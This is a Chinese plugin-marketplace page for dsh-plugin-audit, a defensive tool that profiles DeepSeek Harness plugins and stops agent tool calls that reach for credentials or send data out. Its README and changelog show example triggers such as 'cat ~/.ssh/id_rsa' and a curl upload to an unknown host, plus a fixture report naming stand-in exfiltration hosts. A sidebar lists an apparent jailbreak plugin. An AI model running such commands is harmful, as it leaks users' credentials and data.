扫描插件权限画像,拦截凭证与未知外发
32.2/100
综合分
4
GitHub 星标
179
npm 周下载
—/5
用户评分
数据截至 2026/9/18 · 周下载取自 npm 全网(含 CI / 镜像),非本站安装数;综合分由星标、活跃度与兼容性检查合成。
安装命令 · 需先装 dsh CLI 引擎
dsh plugin --profile web add dsh-plugin-auditnpm 源 · dsh-plugin-audit 的发布者账号已校验与本仓库一致
状态速览
判定依据:实装验证 · 静态安装检查 · 自动扫描 · 仓库维护状态信任档位:已验证
图例:✓ 通过! 需注意— 未判定 / 无数据· 「未判定」= 本站尚无数据,不代表插件有问题
档位由哪些信号合成
本站实装验证(真实安装 L4 覆盖全站;L5 为运行时冒烟或实机截图,覆盖范围小于 L4) · 验证所用 dsh 版本 · 静态安装检查 · 风险分级 · 仓库维护状态。 下方各区块是它的证据明细。
给这个插件打分还没有人投票↓
用户评分
还没有人投票,来当第一个
功能亮点
- 静态权限画像
- 附文件行号证据
- 运行时哨兵拦截
DSH 插件安全审计:静态权限配置档(附文件/行号证据)+ 运行时哨兵,触及凭证或向未知主机外发数据时先请你批准
最近更新
在 GitHub 查看全部 →v0.1.42026-08-28
· What's Changed
· Docs
· package.json 补全 repository / homepage / bugs 元数据,npm 包页展示 GitHub 项目地址与 issue 入口。
· 验证结论
· pnpm typecheck ✓
· pnpm test ✓ 95 用例全绿
· pnpm build ✓
· 纯元数据改动,未触及 Cordis wiring,无需真实环境 boot 检查。
Full Changelog:
v0.1.32026-08-28
· What's Changed
· Fixes
· 哨兵 Rule 3 只判定写入目标路径,不再扫描文件内容(fixes #5):此前 HOME_DOTFILE 对整个序列化参数对象(含 content 正文)做匹配,导致写 README / AGENTS.md 等文件时只要正文引用 ~/.xxx、$HOME/.xxx 或 /Users|/home/x/.yyy 路径就被误判为「写入目标是 dotfile」并拒绝(无审批通道时静默降级为 user rejected tool)。现通过 writeTargetOf() 仅对 file_path / path / filePath / target_file / notebook_path 目标字段做匹配,无可识别目标字段的调用判 pass。
· Features
· 拒绝原因可追溯:三条规则的 ask reason 统一加 dsh-plugin-audit sentinel rule N (...) 前缀,rule 3 的 reason 展示完整目标路径。
· Tests
· 新增回归用例:内容引用 dotfile 路径(~/.zshrc / $HOME/.config / /Users|/home/user/.local)但目标为项目文件 → pass;无路径字段 → pass;reason 前缀断言。
· 新增 scripts/verify-web-profile.mjs:本机 deepseek-harness 真实环境验证脚本(dsh-app-boot 原地挂载 web profile,webserver 覆盖 port 0,真实宿主 exec 形状走 tools/pre-execute 瀑布)。
· 验证结论
· pnpm typecheck ✓
· pnpm test ✓ 全绿(含 rule 3 回归用例)
· pnpm build ✓
· 本机 deepseek-harness 真实环境验证(dsh 0.1.1-rc.2 web profile)✓ 12/12 通过:内容引用 dotfile 路径的写入全部 allow;dotfile 目标 / credential 路径 / 未知域名 egress 均 ask 且 reason 含规则归因;普通写入与放行域名 allow。
Full Changelog:
v0.1.22026-08-14
· 修复
· Sentinel 不再静默失效——v0.1.x 读的是 exec.args,但宿主 ToolRuntime.createExecution 把解析后的工具参数放在 exec.arguments 里。生产环境里每条 sentinel 规则其实一直放行;测试框架照搬了同样错误的参数结构,所以早先的验证没发现。现在 sentinel 读 exec.arguments ?? exec.args,测试框架也按宿主的真实结构派发。(#4)
· 常规工具报错不再让 Invariant 误判失败——宿主对失败的调用也会跑 tools/post-execute,而错误结果不带 value;标记检查现在要求 isError !== true。(#4)
· 实现了 format: "json"——之前有文档但被忽略;工具现在返回结构化报告 JSON。(#4)
· Walker:深度裁剪会置 truncated;读不了的文件/目录跳过并计数,不再让审计失败;用 bytesRead 做字节级精确读取;排序改用码点顺序,不再用 localeCompare。(#4)
· sensitiveEnvVars 重新成为 envVars 的子集,与文档一致。(#4)
· 报告卡片转义攻击者可控文本里的 |、反引号和换行(防 Markdown 表格注入)。(#4)
· 打包补丁统计不再把缩进的配置列表项算作补丁行。(#4)
· 只发布构建产物(dist/lib)的插件再也拿不到干净的信息卡——扫描文件数为零就强制给出提示。(#4)
· 功能
· 绑定感知检测:import/require 别名解析回本地名(readFileSync 记为 rfs,const { execSync: run } = require(...)),能抓到 vm 解构,map.get( 不再误报为 http.get;支持 async fs 方法、export ... from、动态 import()、URL 的 userinfo/IPv6/末尾点提取、网络库 import 标记。(#4)
· 新增 src/events.ts,在 cordis Events 上为宿主工具流水线的瀑布钩子标注类型——监听器结构现在有编译期检查(这套机制本可在构建时就抓住 sentinel 回归)。(#4)
· 报告卡片新增「声明依赖」一行。(#4)
· 测试
· 24 → 89 个测试:基于哈希的只读证明、遍历上限(文件/深度/字节/不可读/跳过目录)、manifest 分支、报告边界渲染(行数上限、注意事项、Markdown 转义)、sentinel 规则矩阵(白名单大小写/通配符、文件扩展名回退、shell 键变体、家目录点文件)、绑定感知检测矩阵、排序顺序固定、仅 dist 规避。(#4)
· 文档
· 示例卡片由真实渲染器重新生成;./src/* 导出记为官方模板约定;列出已知扫描器边界(不跟随符号链接、字符串/注释中的匹配)。(#4)
· 验证
· pnpm typecheck && pnpm test && pnpm build——全部通过(89 个测试,8 个文件)。
· 真实环境复验:进程内启动真实 web 配置档组合,对接已安装的 DSH 快照,派发宿主真实的 exec 结构 { name, arguments }——7/7 通过,包括对 cat ~/.ssh/id_rsa 和 curl 外连未列主机触发 sentinel 询问,以及一次真实的 plugin_audit 运行(risk=review,findings=10,writesPerformed=false)。
完整变更日志:
数据来自仓库的 GitHub Release,可能与插件实际版本不一致。
README
由 DeepSeek 最新模型翻译生成dsh-plugin-audit
English · npm · DeepSeek Harness
在让 DSH 插件跑起来之前,先看清它能做什么。 dsh-plugin-audit 对第三方插件做静态权限画像——代码触及哪些文件、进程、主机、环境变量和凭证路径,全部附文件/行号证据——并武装一个运行时哨兵:当任何工具调用伸向凭证或向未知主机外发数据时,先请你批准。
功能
1. 静态审计 —— plugin_audit 工具。 指向任意插件目录,扫描源码、package.json 和 cordis.patch.yml,返回权限画像卡:
Plugin audit: fixture-suspicious-plugin
Risk: REVIEW — REVIEW — human review recommended before installing
1 files scanned; risk=review; 10 findings (4 review, 4 notice, 2 info)
Permission profile
| Surface | Observed |
| Filesystem read | yes |
| Filesystem write | yes |
| Child processes | yes |
| Network | yes |
展开完整文档(README 剩余 1 节)
dsh-plugin-audit
English · npm · DeepSeek Harness
在让 DSH 插件跑起来之前,先看清它能做什么。 dsh-plugin-audit 对第三方插件做静态权限画像——代码触及哪些文件、进程、主机、环境变量和凭证路径,全部附文件/行号证据——并武装一个运行时哨兵:当任何工具调用伸向凭证或向未知主机外发数据时,先请你批准。
功能
1. 静态审计 —— plugin_audit 工具。 指向任意插件目录,扫描源码、package.json 和 cordis.patch.yml,返回权限画像卡:
Plugin audit: fixture-suspicious-plugin
Risk: REVIEW — REVIEW — human review recommended before installing
1 files scanned; risk=review; 10 findings (4 review, 4 notice, 2 info)
Permission profile
| Surface | Observed |
| Filesystem read | yes |
| Filesystem write | yes |
| Child processes | yes |
| Network | yes |
| Outbound hosts | evil.example.com, exfil.badhost.io, telemetry.example.net |
| Env variables | GITHUB_TOKEN, HOME |
| Credential-looking env | GITHUB_TOKEN |
| Credential paths | .npmrc, .ssh |
| Dynamic code execution | yes |
| Injected services | credentials, tools |
| Declared dependencies | — |
| Bundle patch | none |
Findings
| severity | capability | location | detail |
| review | env-access | src/index.js | Reads a credential-looking environment variable. |
| review | credential-access | src/index.js:12 | References a credential-bearing path. |
| … | … | … | … |
扫描按契约只读:每份报告携带 writesPerformed: false,另有可选的 invariant 伴随插件在运行时强制该标记。
2. 运行时哨兵。 挂在宿主工具管线 tools/pre-execute waterfall 上的监听器。待执行的工具调用命中风险规则时,哨兵返回 ask 并附原因,交给宿主原有的审批提示处理(无审批通道 → 调用被拒绝,绝不静默放行):
| 规则 | 会触发审批的示例 |
| 任意工具参数引用凭证路径 | read 读 ~/.ssh/id_rsa、bash: cat ~/.npmrc |
| shell 外发指向 allowedHosts 之外的主机 | curl -d @data.json https://collector.unknown.io/x |
| 写工具指向家目录 dotfile | write 写 ~/.zshrc |
审计是辅助而非裁决——它呈现实证,把判断留给你。
兼容性
| 依赖 | 版本 |
| DSH 主线 | 已验证 2026-08-14 快照(web + headless profile) |
| Node.js | ^22.19.0 || >=24.0.0 |
| Cordis | ^4.0.0-rc.7(peer) |
DSH 处于开发者预览期,破坏性变更频繁;上表日期记录本发布验证过的主线快照。./invariant 伴随插件已导出但有意不接入 cordis.patch.yml:官方 profile 不提供 invariants 服务,挂起的行会阻断启动。提供该服务的 profile 可自行添加 { id: dsh-plugin-audit-invariant, name: 'dsh-plugin-audit/invariant' }。
安装
从 npm
dsh plugin --profile web add dsh-plugin-audit
或直接从 GitHub
dsh plugin --profile web add github:jkrandom-sudo/dsh-plugin-audit
两条命令都会把包注册进 profile 的 dsh.profile.bundles 并应用本包的 cordis.patch.yml(一行:dsh-plugin-audit,sentinelEnabled: true)。重启 profile 后生效。
卸载
dsh plugin --profile web remove dsh-plugin-audit
移除依赖与 bundle 行,重启 profile 即可。本插件除 profile 自身的依赖元数据外不做任何写入,无需其他清理。
快速上手
在安装了本插件的 profile 会话中,直接说:
用 plugin_audit 审计 ~/some-third-party-plugin 这个插件
或让模型直接调用工具:
{ "path": "/absolute/path/to/plugin", "format": "markdown" }
- path(必填)—— 插件的源码目录(不是带 node_modules 的安装产物)。
- format —— markdown(默认)或 json。
工具返回上面的 Markdown 卡以及 JSON 摘要:{ markdown, risk, filesScanned, findingsCount, writesPerformed }。
哨兵无需调用——武装后自动监视会话中的每一次工具调用:
⚠ Tool "bash" runs curl toward "collector.unknown.io", which is not in allowedHosts. Outbound data movement needs your confirmation. (批准 / 拒绝)
配置
bundle patch 向 profile 插入一行;在 profile 的 cordis.patch.yml 中编辑:
- id: dsh-plugin-audit
name: 'dsh-plugin-audit'
config:
sentinelEnabled: true # 总开关;false = 只保留静态审计 allowedHosts: # shell 外发的预批准主机
- github.com
- api.github.com
- raw.githubusercontent.com
- registry.npmjs.org
- '.deepseek.com' # 前导 . = 后缀规则(同时匹配裸域名)
静态扫描器无需配置,也不参考 allowedHosts——它如实报告发现的每一个网络面。
权限与数据
- 扫描器只读 —— 只用读句柄,上限 400 个文件 / 单文件 256 KB,跳过 node_modules、.git、lib、dist。可选的 dsh-plugin-audit/invariant 伴随插件会在 plugin_audit 结果丢失 writesPerformed: false 标记时让会话失败。
- 无网络、无遥测 —— 本插件自身不发起任何网络请求。报告中出现的主机名是从被扫描源码提取的文本,从不被访问。
- 决策留在本地 —— ask 裁决由宿主既有审批提示中介;插件仅通过 ctx.logger 记录原因。
- 哨兵检查范围 —— 只检查经过 tools/pre-execute 的工具名与调用参数;不读取文件、环境变量,也不触碰参数之外的会话内容。
故障排查
- 启动报 dsh-plugin-audit/invariant: pending (waiting for service: invariants) —— 你把 invariant 行接入了不提供 invariants 服务的 profile;移除该行(随包 patch 默认不含它)。
- agent 看不到 plugin_audit —— 确认包在 profile package.json 的 dsh.profile.bundles 中,且 --dump-config 显示 dsh-plugin-audit 行,然后重启。
- 正常命令频繁触发询问 —— 把主机加入 allowedHosts,或设 sentinelEnabled: false 只保留静态审计。
- 扫描文件比预期少 —— 遍历上限 400 文件 / 256 KB 且跳过构建产物;请审计包的源码目录。
已知边界
- 不跟随 symlink 目标 —— 遍历只读目标树内的真实文件。
- 字符串与注释也会触发发现 —— 扫描器基于源码文本而非 AST;注释里的凭证路径与真实代码同等上报。这是有意为之:卡片是供人判断的证据,宁多勿漏。
- 只含构建产物的包至少为 NOTICE —— 当只发布 dist/lib 时没有源码可扫,卡片会如实说明,而不是给出干净结论。
开发
pnpm install
pnpm typecheck # 两个 tsconfig
pnpm test # vitest:scanner、哨兵规则、插件生命周期、invariant
pnpm build # tsc -b && tsdown -> lib/
目录结构:src/scanner/ 是与 harness 无关的纯引擎(walk → detect → manifest → report),src/report.ts 渲染 Markdown 卡,src/runtime.ts 适配 Cordis/DSH 工具契约,src/sentinel/ 存放纯决策规则与 waterfall 监听器,src/invariant.ts 是只读强制伴随插件,src/events.ts 为宿主工具管线 waterfall 提供类型(监听器形状在编译期受检)。tests/fixtures/ 内含测试用样本插件(可疑 / 干净 / 含 patch override)。
本包同时发布 TypeScript 源码并提供 ./src/* export,遵循官方 dsh-external/plugin-template 约定:DSH 的开发工具可以直接从源码加载 link 安装的插件(例如插件开发时的 HMR),无需等待重新构建。
相关生态
本项目覆盖插件审计的运行时半边——权限画像加上监视实时工具调用的哨兵。安装前的另一半可参见 dsh-vet:在插件安装前做静态审查(权限与供应链规则,产出开放的 dsh-vet/v1 报告)。两种方式覆盖不同的失败模式——混淆 payload 在静态侧显现,某些行为只在运行时出现——因此互为补充而非替代。
许可与安全
MIT —— 见 LICENSE。
本插件是审计辅助工具,不是杀毒软件:干净的报告含义是「这些规则未发现证据」,而非「安全」。发现项是带文件/行号证据的启发式结论,供人判断。发现绕过方式——扫描器漏检的能力、可规避的哨兵规则?请在 开 issue,敏感内容请先私下报告。预览分享卡片长什么样 ↓
分享 · DeepSeek Harness Hub
jkrandom-sudo/dsh-plugin-audit
扫描插件权限画像,拦截凭证与未知外发
相关插件 · 安全 / 权限
智能体逆向工程morluto/rea
用智能体逆向工程任何东西,从应用行为到原生二进制。
★ 426,451已汉化DSH
73.3
智能体集群框架ruvnet/ruflo
面向 Claude Code 与 Codex 的智能体元基座meta-harness。
★ 80,777已汉化MCP
71.8
WorkBuddy 模型接入corrinehu/dsh-workbuddy-connect
2026 年 10 月 20 日起,WorkBuddy…
★ 1,604已汉化DSH
71.7
主动编码智能体deepseek-ai/dsh-superagent-prototype
研究原型,仅供参考,不是 DeepSeek 官方产品。…
★ 15,535已汉化DSH
71.6
破甲一键通z91772524-ai/pojia-next
🌐 官网国内推荐从这里进:
★ 1,021已汉化DSH
71.6
Agent 操作层agentic-os-org/ANOLISA
ANOLISA(Agentic Nexus Operating Layer & Interface System Architecture)|智能体操作系统,带运行时、安全、可观测性,以及 Tokenless 响应压缩,降低 token 用量与成本。
★ 656已汉化DSH
70.7
这个插件是你维护的吗?
作者本人可认领并核对本条目;认领通过后,详情页会显示「作者已认领」标记。